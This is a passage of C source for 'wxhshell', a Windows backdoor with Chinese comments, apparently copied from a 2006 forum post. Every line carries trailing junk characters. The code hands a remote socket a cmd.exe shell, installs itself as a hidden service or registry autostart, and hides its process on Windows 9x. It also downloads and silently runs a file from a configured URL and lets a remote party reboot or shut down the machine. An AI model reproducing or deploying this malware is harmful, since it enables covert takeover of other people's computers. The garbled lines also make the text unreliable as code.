  // 帮助 ^5MPK@)c,/  
  case '?': { :aIS>6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l"{1v ~I  
    break; ,w9:)B7  
  } tyW5k(>  
  // 安装 M_OvIU(E  
  case 'i': { a_GnN\kX^Z  
    if(Install()) eTeZ^G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `GBa3  
    else YQH=]5r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K&\ q6bU  
    break; RZ6[+Ygn  
    } I1a>w=x!+  
  // 卸载 |= o)|z2  
  case 'r': { --> ~<o  
    if(Uninstall()) MXsCm(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'o!{YLJ fM  
    else zc`gm~@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); or8`.h EHI  
    break; RCL}bE  
    } |#Gug('  
  // 显示 wxhshell 所在路径 YV{^2)^  
  case 'p': { G[bWjw86O  
    char svExeFile[MAX_PATH]; [J{M'+a  
    strcpy(svExeFile,"\n\r"); S{0iPdUC  
      strcat(svExeFile,ExeFile); xsO "H8  
        send(wsh,svExeFile,strlen(svExeFile),0); oy _DYop  
    break; (\I9eBm  
    }  Fhk 8  
  // 重启 O-=~Bn _  
  case 'b': { UqA<rW  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~~B`\!n7  
    if(Boot(REBOOT)) 1^HmM"DD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p9(|p Z  
    else {  EL$"/ptE  
    closesocket(wsh); Z w`9B  
    ExitThread(0); \{@n >Mh  
    } 8E+]yB"  
    break; *B3 4  
    } %aB RL6  
  // 关机 blk4@pg  
  case 'd': { YjR`}rdwo  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); JG:li} N  
    if(Boot(SHUTDOWN)) Qf .ASC   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }<9IH%sgF  
    else { ]_EJ "'x  
    closesocket(wsh); %`# HGji)  
    ExitThread(0); (Ev=kO  
    } j(>~:9I`  
    break; A hCqQ.O71  
    } e*!0|#-  
  // 获取shell JnY.]:  
  case 's': { DmA~Vj!a^y  
    CmdShell(wsh); (rE.ft5$9  
    closesocket(wsh); I)AbH<G{  
    ExitThread(0); EW~M,+?  
    break; QSNPraT  
  } v(`9+*  
  // 退出 tZL {;@  
  case 'x': { ?heg_ ~P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O,[9E  
    CloseIt(wsh);  {S$61ut  
    break; i!i=6m.q7  
    } @km@\w  
  // 离开 6g-Q  
  case 'q': { h0oe'Xov  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^B!cL~S*I  
    closesocket(wsh); ]I[\Io1  
    WSACleanup(); *mjPNp'3{m  
    exit(1); t}wwRWo2?f  
    break; Kk\TW1w3  
        } 5XzN%<_h9  
  } s J{J@/5  
  } &~KAZ}xu  
]k# iA9I  
  // 提示信息 :lBw0{fP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $}8@?>-w  
} xS+!/pBf"Y  
  } k~XDwmt;  
;W?mQUo:P8  
  return; gA:unsI  
} Q.MbzSgXL  
Pq(7lua7  
// shell模块句柄 E;rS"'D:  
int CmdShell(SOCKET sock) Jq*Q;}n  
{ v83@J~  
STARTUPINFO si; re)7h$f}  
ZeroMemory(&si,sizeof(si)); P}=U #AV4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [:gp_Z&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .(%]RSBY  
PROCESS_INFORMATION ProcessInfo; TXS{=  
char cmdline[]="cmd"; -A^o5s  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nt_FqUJ  
  return 0; _-|+k  
}  :!/ (N  
QmC#1%@a  
// 自身启动模式 GDQQ4-|O  
int StartFromService(void) 6&;h+;h  
{ q&2L@l3A  
typedef struct RpwDOG  
{ <<PXh&wu0  
  DWORD ExitStatus; yioX^`Fc(~  
  DWORD PebBaseAddress; Q%:Z&lg y  
  DWORD AffinityMask; 5c0$oyl)M  
  DWORD BasePriority; Z]XjN@j"  
  ULONG UniqueProcessId; e^k)756  
  ULONG InheritedFromUniqueProcessId; W1JvLU5L*r  
}   PROCESS_BASIC_INFORMATION; AAF']z<4_"  
*G8Z[ht%r  
PROCNTQSIP NtQueryInformationProcess; uhU'm@JZ  
fRjp(m  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; XzBlT( `w  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vDIsawbHD  
Tm2+/qO,  
  HANDLE             hProcess; :W#?U yo  
  PROCESS_BASIC_INFORMATION pbi; j dkqJ4&i  
u s8.nL/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N%S|Ey@f   
  if(NULL == hInst ) return 0; 3X#Cep20a  
aF[#(PF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 40O@a:q*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b!qlucA eE  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kP1cwmZ7F  
iD<}r?Z  
  if (!NtQueryInformationProcess) return 0; IEe;ygL#  
j_.tg7X  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T^ - -:1  
  if(!hProcess) return 0; -EE}HUP)  
I#'yy7J  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s@p:XO  
l{Et:W%|  
  CloseHandle(hProcess); y Z)-=H  
!+DhH2;)F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); iI3,q-LA  
if(hProcess==NULL) return 0; S0ReT*I  
|d,bo/:  
HMODULE hMod; iI;np+uYk  
char procName[255]; c9djBUAk&  
unsigned long cbNeeded; j Y(|z*|  
U?ZWDr"*`w  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \}AJ)v*<  
ikO9p|J  
  CloseHandle(hProcess); @+a}O  
{{AZW   
if(strstr(procName,"services")) return 1; // 以服务启动 .EC~o  
$-.*8*9  
  return 0; // 注册表启动 =}0$|@pl  
} 2cwJ);Eg2  
C}ASVywc,1  
// 主模块 k"6v& O  
int StartWxhshell(LPSTR lpCmdLine) |pBvy1e4)  
{ cqT%6Si  
  SOCKET wsl; )@<HG$#  
BOOL val=TRUE; ,t!I%r  
  int port=0; v5&W)F  
  struct sockaddr_in door; )P,pW?h$  
:  @$5M  
  if(wscfg.ws_autoins) Install(); PS0/O k  
~S$ex,~  
port=atoi(lpCmdLine); etQS&YzC  
DR]4Tcz#  
if(port<=0) port=wscfg.ws_port; 1tTY )Evf  
&*oljGt8  
  WSADATA data; *?VB/yO=0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $M~`)UeV_  
H%Z;Yt8^gt  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   YN~1.!F  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ocz21gl-?`  
  door.sin_family = AF_INET; _Fe=:q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]:m4~0^#-(  
  door.sin_port = htons(port); GIfs]zVr`  
16Jjf|]j  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m)]|mYjju  
closesocket(wsl); PnL?zae  
return 1; :Zo^Uc:*w  
} P@x@5uC2  
rDu?XJA  
  if(listen(wsl,2) == INVALID_SOCKET) { Y![8-L|Q  
closesocket(wsl); SR`A]EC(V  
return 1; :XTxrYt28  
} +UX} "m~W  
  Wxhshell(wsl); /||8j.Tm  
  WSACleanup(); 7[i&EPN  
j&b<YPZ  
return 0; lE!.$L*k  
%eGD1.R  
} e@& 2q{Gi=  
c{39,oF  
// 以NT服务方式启动  v&7x ~!O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) aC<fzUD;  
{ 07:h4beT  
DWORD   status = 0; K6@ %@v  
  DWORD   specificError = 0xfffffff; 1v<uA9A%[  
AgB$ w4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; KXUJ*l-5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6UuM `eu  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O* )BJOPa  
  serviceStatus.dwWin32ExitCode     = 0; v+dT7* ^@  
  serviceStatus.dwServiceSpecificExitCode = 0; zm4e+v-  
  serviceStatus.dwCheckPoint       = 0; buWF6LFC  
  serviceStatus.dwWaitHint       = 0; 2P{! n#"  
7t78=wpLc  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .TNJuuO  
  if (hServiceStatusHandle==0) return; >feeVk  
'C;KNc  
status = GetLastError(); C\|HN=2eh  
  if (status!=NO_ERROR) nE :Wl  
{ =,&{ &m)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; L:jv%;DM  
    serviceStatus.dwCheckPoint       = 0; ): r'IR  
    serviceStatus.dwWaitHint       = 0; akwS;|SZ  
    serviceStatus.dwWin32ExitCode     = status; ZJ[p7XP  
    serviceStatus.dwServiceSpecificExitCode = specificError; #jg3Ku;Y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); HD z"i  
    return; `[x'EJp#  
  } fvG4K(  
? :F Jc[J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7'@~TM  
  serviceStatus.dwCheckPoint       = 0; Ev48|X6  
  serviceStatus.dwWaitHint       = 0; 5rJ7CfVq  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t,kai6UM  
} ESe$6)P  
2,.8 oa(  
// 处理NT服务事件,比如:启动、停止 &@qB6!^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8{Vt8>4  
{ e C&!yY2g  
switch(fdwControl) SWNT}{x]  
{ \x"BgLSE  
case SERVICE_CONTROL_STOP: YCyh+%Q(  
  serviceStatus.dwWin32ExitCode = 0; qf%p#+:B3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0X%#9s ~  
  serviceStatus.dwCheckPoint   = 0; ;|oem\dKv  
  serviceStatus.dwWaitHint     = 0; \r &(l1R  
  { YH-W{].  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X C '|  
  } =DI/|^j{ ;  
  return; Ul:M=8nE%  
case SERVICE_CONTROL_PAUSE: x0xQFlGk  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; quFNPdP  
  break; /qd~|[Kx:  
case SERVICE_CONTROL_CONTINUE: eW[](lGWM  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Q?dzro4C  
  break; w X.]O!^X~  
case SERVICE_CONTROL_INTERROGATE:  Lvn+EM  
  break; y"ms;w'z  
}; |1/?>=dDm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ul\FZT 4  
} SFRYX,0m  
UR[UZ4G  
// 标准应用程序主函数 VQpwHzh  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) oCB#i~|>a  
{ g<i>252>  
h9+ 7 6  
// 获取操作系统版本 8ZDWaq8^2N  
OsIsNt=GetOsVer(); JiiYl&#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "T6s;'k  
Y,X0x-  
  // 从命令行安装 N\x<'P4q  
  if(strpbrk(lpCmdLine,"iI")) Install(); !GoHCe[10  
J8DKia|h(  
  // 下载执行文件 >+*lG>!z  
if(wscfg.ws_downexe) { , L8(Vo`-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !Ee&e~"  
  WinExec(wscfg.ws_filenam,SW_HIDE); [uu<aRAg3O  
} ,v(ikPzd  
iM{cr&0  
if(!OsIsNt) { 8{p#Nl?U1  
// 如果时win9x,隐藏进程并且设置为注册表启动 qWI8 >my11  
HideProc(); /Fp@j/50  
StartWxhshell(lpCmdLine); 4pFoSs?\  
} {uiL91j.  
else R%;dt<Dh  
  if(StartFromService()) wUmcA~3D  
  // 以服务方式启动 tnw6[U!rh=  
  StartServiceCtrlDispatcher(DispatchTable); +\MGlsMK@.  
else R9%"Kxm  
  // 普通方式启动 C0'_bTfB  
  StartWxhshell(lpCmdLine); iKgH :[j  
aX35^K /  
return 0; $(pVE}J  
}
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只看该作者 1 发表于: 2006-10-10
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